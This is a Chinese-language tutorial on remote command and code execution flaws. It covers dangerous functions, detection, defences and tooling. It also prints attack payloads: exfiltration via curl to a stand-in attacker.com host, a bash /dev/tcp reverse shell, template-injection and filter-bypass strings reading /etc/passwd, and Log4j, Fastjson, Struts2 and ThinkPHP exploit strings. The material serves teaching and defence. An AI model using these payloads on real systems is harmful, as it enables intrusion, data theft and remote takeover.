远程命令与代码执行总结
字数 1304 2025-08-15 21:33:34
远程命令与代码执行(RCE)全面指南
一、漏洞概述
1.1 RCE定义
RCE(Remote Command/Code Execute)代表两种漏洞:
- 远程命令执行:攻击者注入的payload作为操作系统命令执行
- 远程代码执行:攻击者注入的payload作为应用程序代码执行
1.2 漏洞成因
- 命令注入:当Web应用代码包含操作系统调用且调用中使用了未过滤的用户输入
- 代码注入:应用程序将用户输入作为代码的一部分执行(如eval、反序列化等)
二、危险函数列表
2.1 PHP危险函数
代码执行函数:
eval() // 把字符串作为PHP代码执行
assert() // 检查断言是否为FALSE,可执行代码
preg_replace() // 执行正则表达式的搜索和替换(带e修饰符时)
call_user_func()// 把第一个参数作为回调函数调用
call_user_func_array()
array_map() // 为数组的每个元素应用回调函数
动态函数$a($b) // PHP支持直接拼接方式调用函数
命令执行函数:
system() // 执行外部程序并显示输出
exec() // 执行外部程序
shell_exec() // 通过shell执行命令并返回完整输出
passthru() // 执行外部程序并显示原始输出
pcntl_exec() // 在当前进程空间执行指定程序
popen() // 打开进程文件指针
proc_open() // 执行命令并打开输入/输出文件指针
2.2 Java危险方法
Runtime.getRuntime().exec(command) // 执行系统命令
ProcessBuilder(cmdArray).start() // 启动进程执行命令
Method.invoke() // 通过反射调用方法
2.3 Python危险函数
代码执行:
exec(string) # 动态执行Python代码
eval(string) # 返回表达式或代码对象的值
execfile(string) # 从文件读取和执行Python脚本(Python3已移除)
input(string) # Python2.x中相当于eval(raw_input(prompt))
compile(string) # 将源字符串编译为可执行对象
命令执行:
os.system() # 执行系统指令
os.popen() # 打开管道执行命令
subprocess.call() # 执行参数提供的命令
os.spawn() # 执行命令
三、漏洞检测方法
3.1 黑盒测试
- 测试所有输入点:文本字段、列表框、单选按钮、复选框、cookies、HTTP头、POST数据等
- 寻找所有输入流:来自用户浏览器、CLI或上游进程的输入
3.2 白盒测试
- 审计代码中危险函数的使用
- 检查用户输入是否直接传递给危险函数
- 使用自动化工具扫描
四、常见利用技术
4.1 命令注入利用
Linux命令分隔符:
; // 顺序执行
| // 管道符,显示后面命令的执行结果
|| // 前面出错时执行后面的
%0A // URL编码的换行符
\n // 换行符
Windows命令分隔符:
& // 前面的语句为假则直接执行后面的
&& // 前面的语句为假则直接出错
| // 直接执行后面的语句
|| // 前面出错执行后面的
无回显利用技巧:
-
延时检测:
ping -c 10 127.0.0.1 # 通过响应时间判断 -
重定向输出:
whoami > /var/www/static/result.txt -
DNS外带:
curl `whoami`.attacker.com -
HTTP请求:
curl http://attacker.com/$(whoami) -
反弹shell:
bash -i >& /dev/tcp/attacker_ip/port 0>&1
4.2 代码注入利用
PHP动态函数调用:
$a = "system";
$b = "ls";
$a($b); // 等同于system("ls")
PHP反序列化:
通过反序列化恶意构造的对象触发代码执行,常见于:
- PHP对象注入
- Java反序列化(Apache Commons Collections等)
- Python反序列化(pickle模块)
SSTI(服务端模板注入):
{{config.__class__.__init__.__globals__['os'].system('whoami')}}
五、绕过技术
5.1 命令注入绕过
黑名单绕过:
-
拼接:
a=c;b=at;c=flag;$a$b $c -
Base64编码:
echo "Y2F0IGZsYWc=" | base64 -d | bash -
引号绕过:
c""at fl''ag -
反斜线:
c\at fl\ag -
通配符:
/???/c?t /???/p?ss?? -
环境变量:
${PATH:0:1} # 提取/字符
空格绕过:
cat</etc/passwd
{cat,/etc/passwd}
cat$IFS/etc/passwd
X=$'cat\x20/etc/passwd'&&$X
5.2 代码注入绕过
PHP变量函数:
$f = 'sy'.'stem';
$f('whoami');
十六进制编码:
$f = "\x73\x79\x73\x74\x65\x6d"; // system
$f('whoami');
字符串截取:
$_="ABDEGKMSY";$__=$_[7].$_[1].$_[3];$__($_[5]); // $_=SYSTEM("E")
注释绕过:
syst/*xyz*/em('whoami');
六、防御措施
-
输入验证:
- 严格验证所有外部输入
- 使用白名单而非黑名单
-
安全函数:
- 使用安全的替代函数(如escapeshellarg())
- 禁用危险函数(如eval、system等)
-
最小权限:
- Web服务器以低权限用户运行
- 限制文件系统访问权限
-
沙箱环境:
- 在受限环境中执行外部命令
- 使用容器化技术隔离
-
安全编码:
- 避免直接拼接用户输入到命令/代码中
- 使用参数化查询或安全API
-
WAF防护:
- 部署Web应用防火墙拦截攻击尝试
- 监控异常命令执行行为
七、工具推荐
-
Commix:
python commix.py -u "http://target.com/vuln.php?input=INJECT_HERE"功能:自动化检测和利用命令注入漏洞
-
Burp Suite:
- Intruder模块用于模糊测试
- Repeater模块用于手动测试
-
OWASP ZAP:
- 自动化扫描RCE漏洞
- 手动测试工具
-
Metasploit:
use exploit/multi/handler set payload linux/x86/shell_reverse_tcp用于反弹shell利用
八、真实案例
-
Apache Struts2 RCE:
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)...} -
Log4j RCE (CVE-2021-44228):
${jndi:ldap://attacker.com/exploit} -
Fastjson RCE:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/exp"} -
ThinkPHP RCE:
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
通过理解这些技术和案例,安全人员可以更好地防御RCE漏洞,而渗透测试人员可以更有效地发现和利用这些漏洞。